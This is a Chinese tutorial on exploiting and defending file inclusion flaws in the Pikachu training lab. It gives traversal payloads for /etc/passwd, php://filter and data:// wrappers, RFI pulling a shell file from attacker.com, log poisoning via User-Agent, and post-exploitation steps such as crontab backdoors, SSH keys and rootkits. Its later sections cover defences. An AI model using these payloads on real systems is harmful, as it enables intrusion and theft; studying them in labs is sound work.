Pikachu靶场文件包含漏洞实战:从LFI到RFI的攻防解析 📅 2026/7/4 9:14:10 1. 项目概述为什么File Inclusion漏洞值得你花时间研究如果你正在学习网络安全尤其是Web安全方向那么“文件包含”这个漏洞类型绝对是你绕不开的一个核心知识点。它不像SQL注入那样广为人知也不像XSS那样直观但它的危害性、隐蔽性和利用方式的多样性常常让它在实战中成为一枚“定时炸弹”。而Pikachu靶场作为国内最经典、最友好的Web漏洞学习平台之一其File Inclusion模块设计得非常系统和典型是新手入门和老手深化理解的绝佳沙盒。简单来说File Inclusion漏洞允许攻击者将服务器上的本地文件甚至远程服务器上的文件包含到当前执行的Web页面中。这听起来可能有点抽象我打个比方你家的网站程序就像一个“文件处理器”它本应该只处理厨房特定目录里的食材文件。但因为这个漏洞攻击者可以告诉它“嘿去把地下室系统根目录里那个写着‘全家银行卡密码’的笔记本/etc/passwd也拿过来一起处理一下。” 程序居然照做了于是敏感信息就泄露了。更危险的是攻击者甚至可以指挥它去邻居家远程服务器取一个有毒的包裹恶意脚本回来执行从而完全控制你的服务器。在Pikachu靶场里通关File Inclusion你收获的远不止是点击几个按钮看到回显。你会深刻理解Web应用如何动态加载代码PHP中include、require这些函数在错误使用时的巨大风险以及如何通过一个看似无害的参数一步步实现从信息泄露到远程代码执行RCE的完整攻击链。更重要的是你会建立起一套防御思维知道漏洞怎么产生的才能从根本上堵住它。无论是作为渗透测试人员去发现风险还是作为开发人员编写更安全的代码这份经验都至关重要。2. 漏洞原理深度拆解不只是“包含文件”那么简单很多人对文件包含漏洞的理解停留在“能读取/etc/passwd”的层面这远远不够。要真正利用和防御它我们必须深入到服务器解析文件的逻辑层面。2.1 核心机制动态包含与静态包含的本质区别Web应用特别是使用PHP、JSP等语言开发的应用为了提高代码的复用性和可维护性经常会使用文件包含函数。比如网站的头部导航栏header、尾部版权信息footer通常被写成独立的文件然后在每个页面通过include(‘header.php’)来引入。这是一种静态包含包含的文件路径是硬编码在程序里的开发者完全可控没有风险。风险来自于动态包含。当包含的文件路径全部或部分来自于用户可控的输入时漏洞就产生了。在Pikachu靶场中你会看到类似这样的代码$file $_GET[filename]; include($file . .php);这里filename参数直接来自用户的GET请求。程序的本意可能是让用户通过传入?filenamenews来加载news.php页面。但攻击者可以传入?filename../../../../etc/passwd%00。这里就涉及两个关键点目录遍历../利用路径遍历符号跳出程序设定的目录限制访问系统上的任意文件。空字节截断%00在PHP旧版本5.3.4中%00空字节会被解析为字符串结束符。攻击者传入../../etc/passwd%00拼接后变成../../etc/passwd%00.phpPHP在解析时遇到%00就认为字符串结束最终成功包含/etc/passwd文件而.php后缀被忽略。这是历史上一个非常经典的利用技巧。2.2 两种类型的攻击面LFI与RFI根据包含的文件来源漏洞分为两类它们的危害等级和利用方式有显著不同本地文件包含LFI, Local File Inclusion定义包含服务器本地的文件。危害敏感信息泄露如配置文件、日志文件、源代码、在特定条件下转化为代码执行。Pikachu靶场典型利用读取/etc/passwd获取系统用户列表。读取Web应用配置文件如config.php获取数据库密码等核心信息。包含日志文件如/var/log/apache2/access.log如果网站将User-Agent等信息记录到日志攻击者可先通过请求将一段PHP代码写入User-Agent再通过LFI包含该日志文件从而执行代码。包含/proc/self/environ在Linux下这个文件包含进程的环境变量。如果HTTP请求头如User-Agent被记录在此同样可以构造代码执行。远程文件包含RFI, Remote File Inclusion定义包含远程服务器上的文件。危害直接获取WebShell危害极大。攻击者可以在自己控制的服务器上放置一个包含PHP代码的文本文件然后诱导目标网站去包含这个远程URL代码就会在目标服务器上执行。前提条件这是RFI比LFI更危险但也更“挑剔”的地方。在PHP中需要allow_url_include配置项设置为On默认通常是Off。Pikachu靶场为了教学通常会开启这个选项。Pikachu靶场典型利用攻击者搭建一个HTTP服务器上面放一个内容为的文件命名为shell.txt。然后在靶场输入http://attacker.com/shell.txt靶场服务器会下载并执行这个文件攻击者便可通过中国菜刀或蚁剑等工具连接http://target/shell.php获得一个WebShell。重要心得在实际渗透测试中遇到LFI的概率远大于RFI。因为现代PHP环境和安全规范基本都会关闭allow_url_include。所以挖掘LFI并尝试将其“升级”为RCE是更常见的实战思路。Pikachu靶场同时提供两者环境就是为了让你对比理解。2.3 漏洞产生的根本原因归根结底File Inclusion漏洞是“信任边界”的失控。程序过度信任了用户的输入未对其进行任何有效的过滤和校验就将其用于决定执行哪些代码的关键操作文件包含中。这违背了安全设计的基本原则“所有外部输入都是不可信的”。3. Pikachu靶场File Inclusion实战通关详解Pikachu靶场的File Inclusion模块通常分为几个关卡由浅入深。我们假设你已经搭建好靶场例如通过docker pull area39/pikachu拉取镜像并运行访问对应页面。下面我们一关一关来拆解不仅告诉你怎么做更告诉你为什么这么做。3.1 第一关基础LFI与目录遍历这一关通常是一个最简单的文件包含点没有任何过滤。攻击过程你看到URL可能是http://靶场地址/vul/fileinclude/fi_local.php?filenamefile1.php尝试修改filename参数为../../../../etc/passwd页面成功显示了Linux系统的用户列表。原理分析程序代码类似include($_GET[filename])。../在路径中代表上级目录。连续使用多个../可以一路回溯到文件系统根目录/然后再定位到etc/passwd文件。这里没有后缀拼接所以直接包含目标文件。实操技巧确定回溯深度并不总是需要4个../。你可以先尝试../然后../../逐步增加直到成功。也可以使用绝对路径如/etc/passwd如果PHP配置了open_basedir限制则可能失败。利用PHP封装协议这是更强大的技巧。即使有后缀拼接也可以尝试使用php://filter协议来读取文件源码而不是执行它。例如?filenamephp://filter/readconvert.base64-encode/resourceconfig.php。这样config.php的内容会以base64编码的形式输出你解码后就能看到源代码而不会因为直接包含导致代码执行可能报错。这在挖掘漏洞和源码审计时非常有用。3.2 第二关带后缀拼接的LFI与空字节截断这一关模拟了老版本PHP的经典场景代码可能是include($_GET[filename] . ‘.php’)。攻击过程直接输入../../../../etc/passwd会变成../../../../etc/passwd.php文件不存在包含失败。利用空字节截断输入../../../../etc/passwd%00。在旧版本PHP环境下拼接后为../../../../etc/passwd%00.php%00截断成功包含/etc/passwd。原理与现状空字节%00攻击在PHP 5.3.4及以上版本已被修复该版本之后%00不再具有截断功能。现代替代方案在无法使用%00时可以尝试利用路径长度截断但依赖系统配置不总是成功或者更常用的是寻找不需要截断的利用点。例如包含一个本身就可控的、带参数的文件或者利用php://input等协议绕过。在Pikachu靶场的老版本环境中此关可能依然有效旨在教学。3.3 第三关RFI实战与WebShell获取这一关需要allow_url_includeOn。攻击过程你在自己的VPS或本地用Python快速起一个HTTP服务python3 -m http.server 8000。在服务目录下创建一个shell.txt文件内容为。在靶场输入你的文件URLhttp://你的IP:8000/shell.txt。提交后靶场服务器会包含并执行你的shell.txt实际上在服务器内存中解析了其中的PHP代码。此时访问http://靶场地址/shell.php注意这里并不是你VPS上的文件而是靶场服务器根据你传入的代码动态“生成”的执行环境你将看到一个WebShell界面可以执行系统命令。深度利用思考RFI的成功意味着完全失陷。但现实中allow_url_include很少开启。更常见的思路是将LFI转化为RFI。例如如果网站允许文件上传如图片且上传路径已知你可以上传一个内容为PHP代码但后缀为.jpg的文件需要检查是否过滤了文件内容然后通过LFI漏洞去包含这个“图片”同样可以执行代码。这就是漏洞组合利用的典型案例。3.4 第四关利用日志文件实现LFI到RCE这是LFI漏洞利用的“高阶技巧”也是实战中的宝藏。攻击前提找到服务器的日志文件路径如Apache的/var/log/apache2/access.log Nginx的/var/log/nginx/access.log。该日志文件Web用户如www-data有读取权限。日志中记录了HTTP请求头信息如User-Agent。攻击过程首先通过LFI验证可以读取日志文件?filename../../../../var/log/apache2/access.log。如果能看到访问记录说明条件满足。然后你需要“污染”日志。使用Burp Suite或Curl向靶场发送一个特殊的HTTP请求curl -H User-Agent: http://靶场地址/vul/fileinclude/fi_local.php?filenametest.php这个请求的User-Agent里包含了一段PHP代码。再次利用LFI包含日志文件。此时日志文件中包含了你的恶意PHP代码。当服务器执行include操作时会将这些代码当作PHP解析从而在/tmp/evil.php路径下写入一个WebShell。注意事项与技巧日志文件可能很大包含一个巨大的日志文件可能导致PHP内存耗尽或超时。最好先污染然后立即包含减少无关日志。编码问题如果日志文件对特殊字符进行了编码你的Payload可能无法正确解析。需要根据实际情况调整。其他可污染的文件除了Web日志还可以尝试包含/proc/self/environ环境变量、/var/log/auth.logSSH日志如果你能通过SSH登录并执行命令的话等。思路是找到任何Web进程能写、且之后能被包含的文件。4. 从攻击到防御构建File Inclusion漏洞的免疫系统理解了攻击防御就变得有章可循。防御的核心原则是对用户输入进行严格的白名单校验并限制包含操作的范围。4.1 代码层防御治本之策这是最根本的防御需要在开发阶段就落实。使用白名单避免动态包含错误做法include($_GET[‘page’] . ‘.php’);正确做法$allowed_pages array(‘home’, ‘news’, ‘about’); $page $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include($page . ‘.php’); } else { include(‘error.php’); }原理只允许包含预定义好的、安全的文件。用户输入只能从有限的选项中选择无法任意指定路径。严格过滤输入如果必须使用动态包含必须对输入进行强力过滤。过滤目录遍历符$filename str_replace(array(‘../’, ‘..\\’, ‘./’, ‘.\\’), ‘’, $_GET[‘filename’]);但这并非绝对安全双写、编码绕过都可能存在。限制文件后缀确保包含的文件后缀是预期的如.php。但要注意%00截断旧版本和利用php://等协议绕过的情况。原理将危险的路径字符清除但这种方法属于黑名单可能存在绕过应作为辅助手段。使用basename()等函数$file basename($_GET[‘filename’]); // 只获取路径中的文件名部分include(‘./pages/’ . $file . ‘.php’);原理basename()函数会去掉路径部分只返回文件名。这样无论用户输入../../../etc/passwd还是/etc/passwd最终都只会得到passwd再拼接上固定的目录和前缀确保文件只在./pages/目录下寻找。这是比单纯过滤../更可靠的方法。4.2 服务器与环境配置纵深防御即使代码有瑕疵良好的环境配置也能构成第二道防线。PHP配置allow_url_include和allow_url_fopen务必设置为Off。这是防止RFI的最重要开关。在生产环境中没有任何理由开启它。open_basedir将PHP可访问的文件限制在网站根目录及其子目录下。例如open_basedir /var/www/html/。这样即使存在LFI攻击者也无法跳出Web目录去读取/etc/passwd等系统文件。disable_functions在php.ini中禁用危险函数如system,exec,shell_exec,passthru等。即使攻击者通过包含写入了WebShell也无法执行系统命令大大降低了危害。Web服务器配置以最小权限运行Web服务进程如www-data用户应仅拥有运行所需的最小文件系统权限。不要用root运行。日志文件权限确保Web日志文件如access.log的权限设置为仅对特定管理用户可读Web进程用户不应有读取权限。这可以阻断通过LFI包含日志执行代码的攻击链。系统层面定期更新保持PHP、Web服务器Apache/Nginx及操作系统的最新版本及时修复已知漏洞。部署WAFWeb应用防火墙可以识别并拦截常见的目录遍历../、空字节%00等攻击特征在应用层之外提供一层保护。4.3 安全开发流程SDL将安全融入开发的全生命周期。安全编码培训让开发者了解File Inclusion等漏洞的原理和危害。代码审计在测试阶段使用人工或自动化工具如Fortify、Checkmarx对代码进行安全审计重点检查文件操作函数。渗透测试定期对线上系统进行模拟攻击Pikachu靶场中学到的技能正是为此服务。5. 实战排查与高级绕过技巧在实际的渗透测试或CTF比赛中漏洞点往往不会像靶场这么明显。以下是一些排查思路和高级技巧。5.1 如何寻找文件包含点参数名猜测关注URL中类似?file,?page,?path,?include,?load的参数。功能点推测在语言切换、模板加载、文件下载/预览等功能处容易出现动态包含。代码审计在源码中全局搜索include,require,include_once,require_once查看其参数是否用户可控。模糊测试Fuzzing使用工具如Burp Intruder对可疑参数进行目录遍历、协议封装等Payload的批量测试。5.2 遇到过滤如何绕过现代应用多少会有些过滤常见的绕过姿势有编码绕过URL编码../-%2e%2e%2f或..%2f双重URL编码../-%252e%252e%252fUnicode编码、UTF-8编码等。原理过滤函数可能只检查../但未对编码后的形式进行检查服务器在解析时又会将其解码。路径截断超长路径截断在Windows下PHP 5.3.4前路径长度超过一定限制如256字节会导致后面的内容被截断。例如filetest.txt/./././[大量重复]/.//./././.。点号截断在Windows下文件名后的.和空格会被自动去除。file../../boot.ini.或file../../boot.ini ...点空格。注意这些方法严重依赖特定环境和PHP版本在现代系统中成功率很低。利用PHP封装协议最常用、最强大php://filter前面提到的读文件源码convert.base64-encode是经典过滤器。php://input可以访问请求的原始数据POST数据。如果allow_url_include开启你可以通过POST传入PHP代码并执行。例如GET: ?filephp://input POST Body:data://同样需要allow_url_includeOn。可以直接在URL中嵌入Base64编码的代码并执行?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8即的base64编码。zip://,phar://可以包含ZIP或PHAR压缩包中的文件常用于绕过文件上传限制实现代码执行。利用文件上传组合拳这是最经典的“二段攻击”。先找到一个文件上传点上传一个内容为PHP代码但后缀为.jpg的文件如果服务器不检查文件内容。然后利用LFI漏洞去包含这个上传的图片文件。因为include()并不关心后缀它只关心文件内容是否为有效的PHP代码。关键需要知道或能猜到上传文件的绝对路径或相对路径。5.3 漏洞利用后的权限维持与信息收集一旦通过RFI或LFI-to-RCE获得了WebShell你的工作才刚刚开始。在授权的渗透测试中需要进一步评估风险。信息收集通过WebShell执行命令收集服务器信息uname -a、网络信息ifconfig、netstat -antp、用户信息id、cat /etc/passwd、敏感文件配置文件、数据库文件、SSH密钥等。权限提升检查WebShell当前用户的权限尝试利用系统内核漏洞或配置错误SUID文件、sudo权限、cron任务等进行提权。权限维持在授权范围内可能需要部署后门如写入定时任务crontab、添加SSH密钥、安装rootkit等以证明长期控制的可能性。内网渗透如果服务器在内网可以将其作为跳板进一步探测和攻击内网其他主机。6. 总结与个人实战心得File Inclusion漏洞是一个“古老”但生命力顽强的漏洞类型。在Pikachu靶场中走完一遍你应该建立起从发现、利用到防御的完整认知框架。我个人的体会是这个漏洞的学习价值在于它完美体现了安全中的一个核心矛盾功能的便利性与安全的严格性之间的平衡。动态包含带来了灵活的模块化设计但也打开了潘多拉魔盒。在实战中我养成了几个习惯见到包含函数就敏感代码审计时对include、require系列函数保持高度警惕立刻追踪其参数来源。黑盒测试必测LFI在Web渗透测试的初步探测阶段对任何看起来像文件包含的参数都会用../../../../etc/passwd和php://filter的Payload快速测试一下。防御优先白名单自己写代码时如果非要用动态包含白名单是唯一让我安心的方法。配合basename()和固定目录前缀能解决绝大多数问题。关注环境配置检查php.ini的open_basedir和allow_url_include设置已经成为我部署或评估一个PHP环境时的规定动作。最后Pikachu靶场是一个绝佳的起点但真实世界更复杂。靶场教会你原理和标准招式而真实的渗透测试和代码审计则需要你将这些招式灵活组合并应对各种奇怪的过滤和配置。建议你在掌握Pikachu后去尝试一些更综合的靶场如DVWA、WebGoat或CTF题目那里面的文件包含漏洞往往藏得更深绕过方式也更巧妙那才是真正提升功力的时候。记住安全的本质是一场攻防的博弈而理解攻击是构筑有效防御最坚实的第一步。